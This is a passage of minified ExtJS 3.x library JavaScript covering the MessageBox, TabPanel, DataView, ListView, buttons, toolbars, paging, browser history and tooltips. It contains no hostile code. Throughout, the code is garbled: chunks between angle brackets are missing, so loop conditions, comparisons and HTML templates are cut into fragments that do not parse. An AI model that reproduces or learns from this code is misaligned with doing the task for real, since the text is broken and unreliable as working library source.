'});k=Ext.get(h.dom.firstChild);var z=h.dom.childNodes[1];m=Ext.get(z.firstChild);t=Ext.get(z.childNodes[2].firstChild);t.enableDisplayMode();t.addKeyListener([10,13],function(){if(v.isVisible()&&b&&b.buttons){if(b.buttons.ok){c("ok")}else{if(b.buttons.yes){c("yes")}}}});a=Ext.get(z.childNodes[2].childNodes[1]);a.enableDisplayMode();o=new Ext.ProgressBar({renderTo:h});h.createChild({cls:"x-clear"})}return v},updateText:function(B){if(!v.isVisible()&&!b.width){v.setSize(this.maxWidth,100)}m.update(B?B+" ":" ");var z=d!=""?(k.getWidth()+k.getMargins("lr")):0,D=m.getWidth()+m.getMargins("lr"),A=v.getFrameWidth("lr"),C=v.body.getFrameWidth("lr"),y;y=Math.max(Math.min(b.width||z+D+A+C,b.maxWidth||this.maxWidth),Math.max(b.minWidth||this.minWidth,p||0));if(b.prompt===true){w.setWidth(y-z-A-C)}if(b.progress===true||b.wait===true){o.setSize(y-z-A-C)}if(Ext.isIE&&y==p){y+=4}m.update(B||" ");v.setSize(y,"auto").center();return this},updateProgress:function(z,y,A){o.updateProgress(z,y);if(A){this.updateText(A)}return this},isVisible:function(){return v&&v.isVisible()},hide:function(){var y=v?v.activeGhost:null;if(this.isVisible()||y){v.hide();x();if(y){v.unghost(false,false)}}return this},show:function(B){if(this.isVisible()){this.hide()}b=B;var C=this.getDialog(b.title||" ");C.setTitle(b.title||" ");var y=(b.closable!==false&&b.progress!==true&&b.wait!==true);C.tools.close.setDisplayed(y);w=t;b.prompt=b.prompt||(b.multiline?true:false);if(b.prompt){if(b.multiline){t.hide();a.show();a.setHeight(Ext.isNumber(b.multiline)?b.multiline:this.defaultTextHeight);w=a}else{t.show();a.hide()}}else{t.hide();a.hide()}w.dom.value=b.value||"";if(b.prompt){C.focusEl=w}else{var A=b.buttons;var z=null;if(A&&A.ok){z=s.ok}else{if(A&&A.yes){z=s.yes}}if(z){C.focusEl=z}}if(Ext.isDefined(b.iconCls)){C.setIconClass(b.iconCls)}this.setIcon(Ext.isDefined(b.icon)?b.icon:i);p=l(b.buttons);o.setVisible(b.progress===true||b.wait===true);this.updateProgress(0,b.progressText);this.updateText(b.msg);if(b.cls){C.el.addClass(b.cls)}C.proxyDrag=b.proxyDrag===true;C.modal=b.modal!==false;C.mask=b.modal!==false?r:false;if(!C.isVisible()){document.body.appendChild(v.el.dom);C.setAnimateTarget(b.animEl);C.on("show",function(){if(y===true){C.keyMap.enable()}else{C.keyMap.disable()}},this,{single:true});C.show(b.animEl)}if(b.wait===true){o.wait(b.waitConfig)}return this},setIcon:function(y){if(!v){i=y;return}i=undefined;if(y&&y!=""){k.removeClass("x-hidden");k.replaceClass(d,y);h.addClass("x-dlg-icon");d=y}else{k.replaceClass(d,"x-hidden");h.removeClass("x-dlg-icon");d=""}return this},progress:function(A,z,y){this.show({title:A,msg:z,buttons:false,progress:true,closable:false,minWidth:this.minProgressWidth,progressText:y});return this},wait:function(A,z,y){this.show({title:z,msg:A,buttons:false,closable:false,wait:true,modal:true,minWidth:this.minProgressWidth,waitConfig:y});return this},alert:function(B,A,z,y){this.show({title:B,msg:A,buttons:this.OK,fn:z,scope:y,minWidth:this.minWidth});return this},confirm:function(B,A,z,y){this.show({title:B,msg:A,buttons:this.YESNO,fn:z,scope:y,icon:this.QUESTION,minWidth:this.minWidth});return this},prompt:function(D,C,A,z,y,B){this.show({title:D,msg:C,buttons:this.OKCANCEL,fn:A,minWidth:this.minPromptWidth,scope:z,prompt:true,multiline:y,value:B});return this},OK:{ok:true},CANCEL:{cancel:true},OKCANCEL:{ok:true,cancel:true},YESNO:{yes:true,no:true},YESNOCANCEL:{yes:true,no:true,cancel:true},INFO:"ext-mb-info",WARNING:"ext-mb-warning",QUESTION:"ext-mb-question",ERROR:"ext-mb-error",defaultTextHeight:75,maxWidth:600,minWidth:100,minProgressWidth:250,minPromptWidth:250,buttonText:{ok:"OK",cancel:"Cancel",yes:"Yes",no:"No"}}}();Ext.Msg=Ext.MessageBox;Ext.dd.PanelProxy=Ext.extend(Object,{constructor:function(a,b){this.panel=a;this.id=this.panel.id+"-ddproxy";Ext.apply(this,b)},insertProxy:true,setStatus:Ext.emptyFn,reset:Ext.emptyFn,update:Ext.emptyFn,stop:Ext.emptyFn,sync:Ext.emptyFn,getEl:function(){return this.ghost},getGhost:function(){return this.ghost},getProxy:function(){return this.proxy},hide:function(){if(this.ghost){if(this.proxy){this.proxy.remove();delete this.proxy}this.panel.el.dom.style.display="";this.ghost.remove();delete this.ghost}},show:function(){if(!this.ghost){this.ghost=this.panel.createGhost(this.panel.initialConfig.cls,undefined,Ext.getBody());this.ghost.setXY(this.panel.el.getXY());if(this.insertProxy){this.proxy=this.panel.el.insertSibling({cls:"x-panel-dd-spacer"});this.proxy.setSize(this.panel.getSize())}this.panel.el.dom.style.display="none"}},repair:function(b,c,a){this.hide();if(typeof c=="function"){c.call(a||this)}},moveProxy:function(a,b){if(this.proxy){a.insertBefore(this.proxy.dom,b)}}});Ext.Panel.DD=Ext.extend(Ext.dd.DragSource,{constructor:function(b,a){this.panel=b;this.dragData={panel:b};this.proxy=new Ext.dd.PanelProxy(b,a);Ext.Panel.DD.superclass.constructor.call(this,b.el,a);var d=b.header,c=b.body;if(d){this.setHandleElId(d.id);c=b.header}c.setStyle("cursor","move");this.scroll=false},showFrame:Ext.emptyFn,startDrag:Ext.emptyFn,b4StartDrag:function(a,b){this.proxy.show()},b4MouseDown:function(b){var a=b.getPageX(),c=b.getPageY();this.autoOffset(a,c)},onInitDrag:function(a,b){this.onStartDrag(a,b);return true},createFrame:Ext.emptyFn,getDragEl:function(a){return this.proxy.ghost.dom},endDrag:function(a){this.proxy.hide();this.panel.saveState()},autoOffset:function(a,b){a-=this.startPageX;b-=this.startPageY;this.setDelta(a,b)}});Ext.state.Provider=Ext.extend(Ext.util.Observable,{constructor:function(){this.addEvents("statechange");this.state={};Ext.state.Provider.superclass.constructor.call(this)},get:function(b,a){return typeof this.state[b]=="undefined"?a:this.state[b]},clear:function(a){delete this.state[a];this.fireEvent("statechange",this,a,null)},set:function(a,b){this.state[a]=b;this.fireEvent("statechange",this,a,b)},decodeValue:function(b){var e=/^(a|n|d|b|s|o|e)\:(.*)$/,h=e.exec(unescape(b)),d,c,a,g;if(!h||!h[1]){return}c=h[1];a=h[2];switch(c){case"e":return null;case"n":return parseFloat(a);case"d":return new Date(Date.parse(a));case"b":return(a=="1");case"a":d=[];if(a!=""){Ext.each(a.split("^"),function(i){d.push(this.decodeValue(i))},this)}return d;case"o":d={};if(a!=""){Ext.each(a.split("^"),function(i){g=i.split("=");d[g[0]]=this.decodeValue(g[1])},this)}return d;default:return a}},encodeValue:function(c){var b,g="",e=0,a,d;if(c==null){return"e:1"}else{if(typeof c=="number"){b="n:"+c}else{if(typeof c=="boolean"){b="b:"+(c?"1":"0")}else{if(Ext.isDate(c)){b="d:"+c.toGMTString()}else{if(Ext.isArray(c)){for(a=c.length;e-1){var e=this.isSelected(b),c=this.all.elements[b],d=this.bufferRender([a],b)[0];this.all.replaceElement(b,d,true);if(e){this.selected.replaceElement(c,d);this.all.item(b).addClass(this.selectedClass)}this.updateIndexes(b,b)}},onAdd:function(g,d,e){if(this.all.getCount()===0){this.refresh();return}var c=this.bufferRender(d,e),h,b=this.all.elements;if(e0){if(!b){this.selected.removeClass(this.selectedClass)}this.selected.clear();this.last=false;if(!a){this.fireEvent("selectionchange",this,this.selected.elements)}}},isSelected:function(a){return this.selected.contains(this.getNode(a))},deselect:function(a){if(this.isSelected(a)){a=this.getNode(a);this.selected.removeElement(a);if(this.last==a.viewIndex){this.last=false}Ext.fly(a).removeClass(this.selectedClass);this.fireEvent("selectionchange",this,this.selected.elements)}},select:function(d,g,b){if(Ext.isArray(d)){if(!g){this.clearSelections(true)}for(var c=0,a=d.length;c=a&&d[c];c--){b.push(d[c])}}return b},indexOf:function(a){a=this.getNode(a);if(Ext.isNumber(a.viewIndex)){return a.viewIndex}return this.all.indexOf(a)},onBeforeLoad:function(){if(this.loadingText){this.clearSelections(false,true);this.getTemplateTarget().update('
'+this.loadingText+"
");this.all.clear()}},onDestroy:function(){this.all.clear();this.selected.clear();Ext.DataView.superclass.onDestroy.call(this);this.bindStore(null)}});Ext.DataView.prototype.setStore=Ext.DataView.prototype.bindStore;Ext.reg("dataview",Ext.DataView);Ext.list.ListView=Ext.extend(Ext.DataView,{itemSelector:"dl",selectedClass:"x-list-selected",overClass:"x-list-over",scrollOffset:undefined,columnResize:true,columnSort:true,maxColumnWidth:Ext.isIE?99:100,initComponent:function(){if(this.columnResize){this.colResizer=new Ext.list.ColumnResizer(this.colResizer);this.colResizer.init(this)}if(this.columnSort){this.colSorter=new Ext.list.Sorter(this.columnSort);this.colSorter.init(this)}if(!this.internalTpl){this.internalTpl=new Ext.XTemplate('
','','
',"{header}","
","
",'
',"
",'
',"
")}if(!this.tpl){this.tpl=new Ext.XTemplate('',"
",'','
',' class="{cls}">',"{[values.tpl.apply(parent)]}","
","
",'
',"
","
")}var l=this.columns,h=0,k=0,m=l.length,b=[];for(var g=0;gthis.maxColumnWidth){n.width-=(h-this.maxColumnWidth)/100}k++}b.push(n)}l=this.columns=b;if(k10)){b.style.width=d;g.style.width=d}else{b.style.width=c+"px";g.style.width=c+"px";setTimeout(function(){if((a.offsetWidth-a.clientWidth)>10){b.style.width=d;g.style.width=d}},10)}}if(Ext.isNumber(e)){a.style.height=Math.max(0,e-g.parentNode.offsetHeight)+"px"}},updateIndexes:function(){Ext.list.ListView.superclass.updateIndexes.apply(this,arguments);this.verifyInternalSize()},findHeaderIndex:function(g){g=g.dom||g;var a=g.parentNode,d=a.parentNode.childNodes,b=0,e;for(;e=d[b];b++){if(e==a){return b}}return -1},setHdWidths:function(){var d=this.innerHd.dom.getElementsByTagName("div"),c=0,b=this.columns,a=b.length;for(;c','','{text}',"");d.disableFormats=true;d.compile();Ext.TabPanel.prototype.itemTpl=d}this.items.each(this.initTab,this)},afterRender:function(){Ext.TabPanel.superclass.afterRender.call(this);if(this.autoTabs){this.readTabs(false)}if(this.activeTab!==undefined){var a=Ext.isObject(this.activeTab)?this.activeTab:this.items.get(this.activeTab);delete this.activeTab;this.setActiveTab(a)}},initEvents:function(){Ext.TabPanel.superclass.initEvents.call(this);this.mon(this.strip,{scope:this,mousedown:this.onStripMouseDown,contextmenu:this.onStripContextMenu});if(this.enableTabScroll){this.mon(this.strip,"mousewheel",this.onWheel,this)}},findTargets:function(c){var b=null,a=c.getTarget("li:not(.x-tab-edge)",this.strip);if(a){b=this.getComponent(a.id.split(this.idDelimiter)[1]);if(b.disabled){return{close:null,item:null,el:null}}}return{close:c.getTarget(".x-tab-strip-close",this.strip),item:b,el:a}},onStripMouseDown:function(b){if(b.button!==0){return}b.preventDefault();var a=this.findTargets(b);if(a.close){if(a.item.fireEvent("beforeclose",a.item)!==false){a.item.fireEvent("close",a.item);this.remove(a.item)}return}if(a.item&&a.item!=this.activeTab){this.setActiveTab(a.item)}},onStripContextMenu:function(b){b.preventDefault();var a=this.findTargets(b);if(a.item){this.fireEvent("contextmenu",this,a.item,b)}},readTabs:function(d){if(d===true){this.items.each(function(h){this.remove(h)},this)}var c=this.el.query(this.autoTabSelector);for(var b=0,a=c.length;b0){this.setActiveTab(0)}else{this.setActiveTab(null)}}}if(!this.destroying){this.delegateUpdates()}},onBeforeShowItem:function(a){if(a!=this.activeTab){this.setActiveTab(a);return false}},onItemDisabled:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).addClass("x-item-disabled")}this.stack.remove(b)},onItemEnabled:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).removeClass("x-item-disabled")}},onItemTitleChanged:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).child("span.x-tab-strip-text",true).innerHTML=b.title}},onItemIconChanged:function(d,a,c){var b=this.getTabEl(d);if(b){b=Ext.get(b);b.child("span.x-tab-strip-text").replaceClass(c,a);b[Ext.isEmpty(a)?"removeClass":"addClass"]("x-tab-with-icon")}},getTabEl:function(a){var b=this.getComponent(a);return b?b.tabEl:null},onResize:function(){Ext.TabPanel.superclass.onResize.apply(this,arguments);this.delegateUpdates()},beginUpdate:function(){this.suspendUpdates=true},endUpdate:function(){this.suspendUpdates=false;this.delegateUpdates()},hideTabStripItem:function(b){b=this.getComponent(b);var a=this.getTabEl(b);if(a){a.style.display="none";this.delegateUpdates()}this.stack.remove(b)},unhideTabStripItem:function(b){b=this.getComponent(b);var a=this.getTabEl(b);if(a){a.style.display="";this.delegateUpdates()}},delegateUpdates:function(){var a=this.rendered;if(this.suspendUpdates){return}if(this.resizeTabs&&a){this.autoSizeTabs()}if(this.enableTabScroll&&a){this.autoScrollTabs()}},autoSizeTabs:function(){var h=this.items.length,b=this.tabPosition!="bottom"?"header":"footer",c=this[b].dom.offsetWidth,a=this[b].dom.clientWidth;if(!this.resizeTabs||h<1||!a){return}var l=Math.max(Math.min(Math.floor((a-4)/h)-this.tabMargin,this.tabWidth),this.minTabWidth);this.lastTabWidth=l;var n=this.strip.query("li:not(.x-tab-edge)");for(var e=0,k=n.length;e20?c:20);if(!this.scrolling){if(!this.scrollLeft){this.createScrollers()}else{this.scrollLeft.show();this.scrollRight.show()}}this.scrolling=true;if(i>(a-c)){e.scrollLeft=a-c}else{this.scrollToTab(this.activeTab,false)}this.updateScrollButtons()}},createScrollers:function(){this.pos.addClass("x-tab-scrolling-"+this.tabPosition);var c=this.stripWrap.dom.offsetHeight;var a=this.pos.insertFirst({cls:"x-tab-scroller-left"});a.setHeight(c);a.addClassOnOver("x-tab-scroller-left-over");this.leftRepeater=new Ext.util.ClickRepeater(a,{interval:this.scrollRepeatInterval,handler:this.onScrollLeft,scope:this});this.scrollLeft=a;var b=this.pos.insertFirst({cls:"x-tab-scroller-right"});b.setHeight(c);b.addClassOnOver("x-tab-scroller-right-over");this.rightRepeater=new Ext.util.ClickRepeater(b,{interval:this.scrollRepeatInterval,handler:this.onScrollRight,scope:this});this.scrollRight=b},getScrollWidth:function(){return this.edge.getOffsetsTo(this.stripWrap)[0]+this.getScrollPos()},getScrollPos:function(){return parseInt(this.stripWrap.dom.scrollLeft,10)||0},getScrollArea:function(){return parseInt(this.stripWrap.dom.clientWidth,10)||0},getScrollAnim:function(){return{duration:this.scrollDuration,callback:this.updateScrollButtons,scope:this}},getScrollIncrement:function(){return this.scrollIncrement||(this.resizeTabs?this.lastTabWidth+2:100)},scrollToTab:function(e,a){if(!e){return}var c=this.getTabEl(e),h=this.getScrollPos(),d=this.getScrollArea(),g=Ext.fly(c).getOffsetsTo(this.stripWrap)[0]+h,b=g+c.offsetWidth;if(g(h+d)){this.scrollTo(b-d,a)}}},scrollTo:function(b,a){this.stripWrap.scrollTo("left",b,a?this.getScrollAnim():false);if(!a){this.updateScrollButtons()}},onWheel:function(g){var h=g.getWheelDelta()*this.wheelIncrement*-1;g.stopEvent();var i=this.getScrollPos(),c=i+h,a=this.getScrollWidth()-this.getScrollArea();var b=Math.max(0,Math.min(a,c));if(b!=i){this.scrollTo(b,false)}},onScrollRight:function(){var a=this.getScrollWidth()-this.getScrollArea(),c=this.getScrollPos(),b=Math.min(a,c+this.getScrollIncrement());if(b!=c){this.scrollTo(b,this.animScroll)}},onScrollLeft:function(){var b=this.getScrollPos(),a=Math.max(0,b-this.getScrollIncrement());if(a!=b){this.scrollTo(a,this.animScroll)}},updateScrollButtons:function(){var a=this.getScrollPos();this.scrollLeft[a===0?"addClass":"removeClass"]("x-tab-scroller-left-disabled");this.scrollRight[a>=(this.getScrollWidth()-this.getScrollArea())?"addClass":"removeClass"]("x-tab-scroller-right-disabled")},beforeDestroy:function(){Ext.destroy(this.leftRepeater,this.rightRepeater);this.deleteMembers("strip","edge","scrollLeft","scrollRight","stripWrap");this.activeTab=null;Ext.TabPanel.superclass.beforeDestroy.apply(this)}});Ext.reg("tabpanel",Ext.TabPanel);Ext.TabPanel.prototype.activate=Ext.TabPanel.prototype.setActiveTab;Ext.TabPanel.AccessStack=function(){var a=[];return{add:function(b){a.push(b);if(a.length>10){a.shift()}},remove:function(e){var d=[];for(var c=0,b=a.length;c','  ','  ','  ',"");Ext.Button.buttonTemplate.compile()}this.template=Ext.Button.buttonTemplate}var b,d=this.getTemplateArgs();if(a){b=this.template.insertBefore(a,d,true)}else{b=this.template.append(c,d,true)}this.btnEl=b.child(this.buttonSelector);this.mon(this.btnEl,{scope:this,focus:this.onFocus,blur:this.onBlur});this.initButtonEl(b,this.btnEl);Ext.ButtonToggleMgr.register(this)},initButtonEl:function(b,c){this.el=b;this.setIcon(this.icon);this.setText(this.text);this.setIconClass(this.iconCls);if(Ext.isDefined(this.tabIndex)){c.dom.tabIndex=this.tabIndex}if(this.tooltip){this.setTooltip(this.tooltip,true)}if(this.handleMouseEvents){this.mon(b,{scope:this,mouseover:this.onMouseOver,mousedown:this.onMouseDown})}if(this.menu){this.mon(this.menu,{scope:this,show:this.onMenuShow,hide:this.onMenuHide})}if(this.repeat){var a=new Ext.util.ClickRepeater(b,Ext.isObject(this.repeat)?this.repeat:{});this.mon(a,"click",this.onRepeatClick,this)}else{this.mon(b,this.clickEvent,this.onClick,this)}},afterRender:function(){Ext.Button.superclass.afterRender.call(this);this.useSetClass=true;this.setButtonClass();this.doc=Ext.getDoc();this.doAutoWidth()},setIconClass:function(a){this.iconCls=a;if(this.el){this.btnEl.dom.className="";this.btnEl.addClass(["x-btn-text",a||""]);this.setButtonClass()}return this},setTooltip:function(b,a){if(this.rendered){if(!a){this.clearTip()}if(Ext.isObject(b)){Ext.QuickTips.register(Ext.apply({target:this.btnEl.id},b));this.tooltip=b}else{this.btnEl.dom[this.tooltipType]=b}}else{this.tooltip=b}return this},clearTip:function(){if(Ext.isObject(this.tooltip)){Ext.QuickTips.unregister(this.btnEl)}},beforeDestroy:function(){if(this.rendered){this.clearTip()}if(this.menu&&this.destroyMenu!==false){Ext.destroy(this.btnEl,this.menu)}Ext.destroy(this.repeater)},onDestroy:function(){if(this.rendered){this.doc.un("mouseover",this.monitorMouseOver,this);this.doc.un("mouseup",this.onMouseUp,this);delete this.doc;delete this.btnEl;Ext.ButtonToggleMgr.unregister(this)}Ext.Button.superclass.onDestroy.call(this)},doAutoWidth:function(){if(this.autoWidth!==false&&this.el&&this.text&&this.width===undefined){this.el.setWidth("auto");if(Ext.isIE7&&Ext.isStrict){var a=this.btnEl;if(a&&a.getWidth()>20){a.clip();a.setWidth(Ext.util.TextMetrics.measure(a,this.text).width+a.getFrameWidth("lr"))}}if(this.minWidth){if(this.el.getWidth()a}else{return c.getPageY()>this.btnEl.getRegion().bottom}},onClick:function(b,a){b.preventDefault();if(!this.disabled){if(this.isClickOnArrow(b)){if(this.menu&&!this.menu.isVisible()&&!this.ignoreNextClick){this.showMenu()}this.fireEvent("arrowclick",this,b);if(this.arrowHandler){this.arrowHandler.call(this.scope||this,this,b)}}else{this.doToggle();this.fireEvent("click",this,b);if(this.handler){this.handler.call(this.scope||this,this,b)}}}},isMenuTriggerOver:function(a){return this.menu&&a.target.tagName==this.arrowSelector},isMenuTriggerOut:function(b,a){return this.menu&&b.target.tagName!=this.arrowSelector}});Ext.reg("splitbutton",Ext.SplitButton);Ext.CycleButton=Ext.extend(Ext.SplitButton,{getItemText:function(a){if(a&&this.showText===true){var b="";if(this.prependText){b+=this.prependText}b+=a.text;return b}return undefined},setActiveItem:function(c,a){if(!Ext.isObject(c)){c=this.menu.getComponent(c)}if(c){if(!this.rendered){this.text=this.getItemText(c);this.iconCls=c.iconCls}else{var b=this.getItemText(c);if(b){this.setText(b)}this.setIconClass(c.iconCls)}this.activeItem=c;if(!c.checked){c.setChecked(true,false)}if(this.forceIcon){this.setIconClass(this.forceIcon)}if(!a){this.fireEvent("change",this,c)}}},getActiveItem:function(){return this.activeItem},initComponent:function(){this.addEvents("change");if(this.changeHandler){this.on("change",this.changeHandler,this.scope||this);delete this.changeHandler}this.itemCount=this.items.length;this.menu={cls:"x-cycle-menu",items:[]};var a=0;Ext.each(this.items,function(c,b){Ext.apply(c,{group:c.group||this.id,itemIndex:b,checkHandler:this.checkHandler,scope:this,checked:c.checked||false});this.menu.items.push(c);if(c.checked){a=b}},this);Ext.CycleButton.superclass.initComponent.call(this);this.on("click",this.toggleSelected,this);this.setActiveItem(a,true)},checkHandler:function(a,b){if(b){this.setActiveItem(a)}},toggleSelected:function(){var a=this.menu;a.render();if(!a.hasLayout){a.doLayout()}var d,b;for(var c=1;c"){b=new a.Fill()}else{b=new a.TextItem(b)}}}this.applyDefaults(b)}else{if(b.isFormField||b.render){b=this.createComponent(b)}else{if(b.tag){b=new a.Item({autoEl:b})}else{if(b.tagName){b=new a.Item({el:b})}else{if(Ext.isObject(b)){b=b.xtype?this.createComponent(b):this.constructButton(b)}}}}}return b},applyDefaults:function(e){if(!Ext.isString(e)){e=Ext.Toolbar.superclass.applyDefaults.call(this,e);var b=this.internalDefaults;if(e.events){Ext.applyIf(e.initialConfig,b);Ext.apply(e,b)}else{Ext.applyIf(e,b)}}return e},addSeparator:function(){return this.add(new a.Separator())},addSpacer:function(){return this.add(new a.Spacer())},addFill:function(){this.add(new a.Fill())},addElement:function(b){return this.addItem(new a.Item({el:b}))},addItem:function(b){return this.add.apply(this,arguments)},addButton:function(c){if(Ext.isArray(c)){var e=[];for(var d=0,b=c.length;d");this.items.push(this.displayItem=new a.TextItem({}))}Ext.PagingToolbar.superclass.initComponent.call(this);this.addEvents("change","beforechange");this.on("afterlayout",this.onFirstLayout,this,{single:true});this.cursor=0;this.bindStore(this.store,true)},onFirstLayout:function(){if(this.dsLoaded){this.onLoad.apply(this,this.dsLoaded)}},updateInfo:function(){if(this.displayItem){var b=this.store.getCount();var c=b==0?this.emptyMsg:String.format(this.displayMsg,this.cursor+1,this.cursor+b,this.store.getTotalCount());this.displayItem.setText(c)}},onLoad:function(b,e,k){if(!this.rendered){this.dsLoaded=[b,e,k];return}var g=this.getParams();this.cursor=(k.params&&k.params[g.start])?k.params[g.start]:0;var i=this.getPageData(),c=i.activePage,h=i.pages;this.afterTextItem.setText(String.format(this.afterPageText,i.pages));this.inputItem.setValue(c);this.first.setDisabled(c==1);this.prev.setDisabled(c==1);this.next.setDisabled(c==h);this.last.setDisabled(c==h);this.refresh.enable();this.updateInfo();this.fireEvent("change",this,i)},getPageData:function(){var b=this.store.getTotalCount();return{total:b,activePage:Math.ceil((this.cursor+this.pageSize)/this.pageSize),pages:b=1&g<=l.pages){i.setValue(g)}}}}}},getParams:function(){return this.paramNames||this.store.paramNames},beforeLoad:function(){if(this.rendered&&this.refresh){this.refresh.disable()}},doLoad:function(d){var c={},b=this.getParams();c[b.start]=d;c[b.limit]=this.pageSize;if(this.fireEvent("beforechange",this,c)!==false){this.store.load({params:c})}},moveFirst:function(){this.doLoad(0)},movePrevious:function(){this.doLoad(Math.max(0,this.cursor-this.pageSize))},moveNext:function(){this.doLoad(this.cursor+this.pageSize)},moveLast:function(){var c=this.store.getTotalCount(),b=c%this.pageSize;this.doLoad(b?(c-b):c-this.pageSize)},doRefresh:function(){this.doLoad(this.cursor)},bindStore:function(c,d){var b;if(!d&&this.store){if(c!==this.store&&this.store.autoDestroy){this.store.destroy()}else{this.store.un("beforeload",this.beforeLoad,this);this.store.un("load",this.onLoad,this);this.store.un("exception",this.onLoadError,this)}if(!c){this.store=null}}if(c){c=Ext.StoreMgr.lookup(c);c.on({scope:this,beforeload:this.beforeLoad,load:this.onLoad,exception:this.onLoadError});b=true}this.store=c;if(b){this.onLoad(c,null,{})}},unbind:function(b){this.bindStore(null)},bind:function(b){this.bindStore(b)},onDestroy:function(){this.bindStore(null);Ext.PagingToolbar.superclass.onDestroy.call(this)}})})();Ext.reg("paging",Ext.PagingToolbar);Ext.History=(function(){var e,c;var l=false;var d;function g(){var m=location.href,n=m.indexOf("#");return n>=0?m.substr(n+1):null}function a(){c.value=d}function h(m){d=m;Ext.History.fireEvent("change",m)}function i(n){var m=['
',Ext.util.Format.htmlEncode(n),"
"].join("");try{var p=e.contentWindow.document;p.open();p.write(m);p.close();return true}catch(o){return false}}function b(){if(!e.contentWindow||!e.contentWindow.document){setTimeout(b,10);return}var p=e.contentWindow.document;var n=p.getElementById("state");var m=n?n.innerText:null;var o=g();setInterval(function(){p=e.contentWindow.document;n=p.getElementById("state");var r=n?n.innerText:null;var q=g();if(r!==m){m=r;h(m);top.location.hash=m;o=m;a()}else{if(q!==o){o=q;i(q)}}},50);l=true;Ext.History.fireEvent("ready",Ext.History)}function k(){d=c.value?c.value:g();if(Ext.isIE){b()}else{var m=g();setInterval(function(){var n=g();if(n!==m){m=n;h(m);a()}},50);l=true;Ext.History.fireEvent("ready",Ext.History)}}return{fieldId:"x-history-field",iframeId:"x-history-frame",events:{},init:function(n,m){if(l){Ext.callback(n,m,[this]);return}if(!Ext.isReady){Ext.onReady(function(){Ext.History.init(n,m)});return}c=Ext.getDom(Ext.History.fieldId);if(Ext.isIE){e=Ext.getDom(Ext.History.iframeId)}this.addEvents("ready","change");if(n){this.on("ready",n,m,{single:true})}k()},add:function(m,n){if(n!==false){if(this.getToken()==m){return true}}if(Ext.isIE){return i(m)}else{top.location.hash=m;return true}},back:function(){history.go(-1)},forward:function(){history.go(1)},getToken:function(){return l?d:g()}}})();Ext.apply(Ext.History,new Ext.util.Observable());Ext.Tip=Ext.extend(Ext.Panel,{minWidth:40,maxWidth:300,shadow:"sides",defaultAlign:"tl-bl?",autoRender:true,quickShowInterval:250,frame:true,hidden:true,baseCls:"x-tip",floating:{shadow:true,shim:true,useDisplay:true,constrain:false},autoHeight:true,closeAction:"hide",initComponent:function(){Ext.Tip.superclass.initComponent.call(this);if(this.closable&&!this.title){this.elements+=",header"}},afterRender:function(){Ext.Tip.superclass.afterRender.call(this);if(this.closable){this.addTool({id:"close",handler:this[this.closeAction],scope:this})}},showAt:function(a){Ext.Tip.superclass.show.call(this);if(this.measureWidth!==false&&(!this.initialConfig||typeof this.initialConfig.width!="number")){this.doAutoWidth()}if(this.constrainPosition){a=this.el.adjustForConstraints(a)}this.setPagePosition(a[0],a[1])},doAutoWidth:function(a){a=a||0;var b=this.body.getTextWidth();if(this.title){b=Math.max(b,this.header.child("span").getTextWidth(this.title))}b+=this.getFrameWidth()+(this.closable?20:0)+this.body.getPadding("lr")+a;this.setWidth(b.constrain(this.minWidth,this.maxWidth));if(Ext.isIE7&&!this.repainted){this.el.repaint();this.repainted=true}},showBy:function(a,b){if(!this.rendered){this.render(Ext.getBody())}this.showAt(this.el.getAlignToXY(a,b||this.defaultAlign))},initDraggable:function(){this.dd=new Ext.Tip.DD(this,typeof this.draggable=="boolean"?null:this.draggable);this.header.addClass("x-tip-draggable")}});Ext.reg("tip",Ext.Tip);Ext.Tip.DD=function(b,a){Ext.apply(this,a);this.tip=b;Ext.Tip.DD.superclass.constructor.call(this,b.el.id,"WindowDD-"+b.id);this.setHandleElId(b.header.id);this.scroll=false};Ext.extend(Ext.Tip.DD,Ext.dd.DD,{moveOnly:true,scroll:false,headerOffsets:[100,25],startDrag:function(){this.tip.el.disableShadow()},endDrag:function(a){this.tip.el.enableShadow(true)}});Ext.ToolTip=Ext.extend(Ext.Tip,{showDelay:500,hideDelay:200,dismissDelay:5000,trackMouse:false,anchorToTarget:true,anchorOffset:0,targetCounter:0,constrainPosition:false,initComponent:function(){Ext.ToolTip.superclass.initComponent.call(this);this.lastActive=new Date();this.initTarget(this.target);this.origAnchor=this.anchor},onRender:function(b,a){Ext.ToolTip.superclass.onRender.call(this,b,a);this.anchorCls="x-tip-anchor-"+this.getAnchorPosition();this.anchorEl=this.el.createChild({cls:"x-tip-anchor "+this.anchorCls})},afterRender:function(){Ext.ToolTip.superclass.afterRender.call(this);this.anchorEl.setStyle("z-index",this.el.getZIndex()+1).setVisibilityMode(Ext.Element.DISPLAY)},initTarget:function(c){var a;if((a=Ext.get(c))){if(this.target){var b=Ext.get(this.target);this.mun(b,"mouseover",this.onTargetOver,this);this.mun(b,"mouseout",this.onTargetOut,this);this.mun(b,"mousemove",this.onMouseMove,this)}this.mon(a,{mouseover:this.onTargetOver,mouseout:this.onTargetOut,mousemove:this.onMouseMove,scope:this});this.target=a}if(this.anchor){this.anchorTarget=this.target}},onMouseMove:function(b){var a=this.delegate?b.getTarget(this.delegate):this.triggerElement=true;if(a){this.targetXY=b.getXY();if(a===this.triggerElement){if(!this.hidden&&this.trackMouse){this.setPagePosition(this.getTargetXY())}}else{this.hide();this.lastActive=new Date(0);this.onTargetOver(b)}}else{if(!this.closable&&this.isVisible()){this.hide()}}},getTargetXY:function(){if(this.delegate){this.anchorTarget=this.triggerElement}if(this.anchor){this.targetCounter++;var c=this.getOffsets(),m=(this.anchorToTarget&&!this.trackMouse)?this.el.getAlignToXY(this.anchorTarget,this.getAnchorAlign()):this.targetXY,a=Ext.lib.Dom.getViewWidth()-5,h=Ext.lib.Dom.getViewHeight()-5,i=document.documentElement,e=document.body,l=(i.scrollLeft||e.scrollLeft||0)+5,k=(i.scrollTop||e.scrollTop||0)+5,b=[m[0]+c[0],m[1]+c[1]],g=this.getSize();this.anchorEl.removeClass(this.anchorCls);if(this.targetCounter<2){if(b[0]a){if(this.anchorToTarget){this.defaultAlign="r-l";if(this.mouseOffset){this.mouseOffset[0]*=-1}}this.anchor="right";return this.getTargetXY()}if(b[1]h){if(this.anchorToTarget){this.defaultAlign="b-t";if(this.mouseOffset){this.mouseOffset[1]*=-1}}this.anchor="bottom";return this.getTargetXY()}}this.anchorCls="x-tip-anchor-"+this.getAnchorPosition();this.anchorEl.addClass(this.anchorCls);this.targetCounter=0;return b}else{var 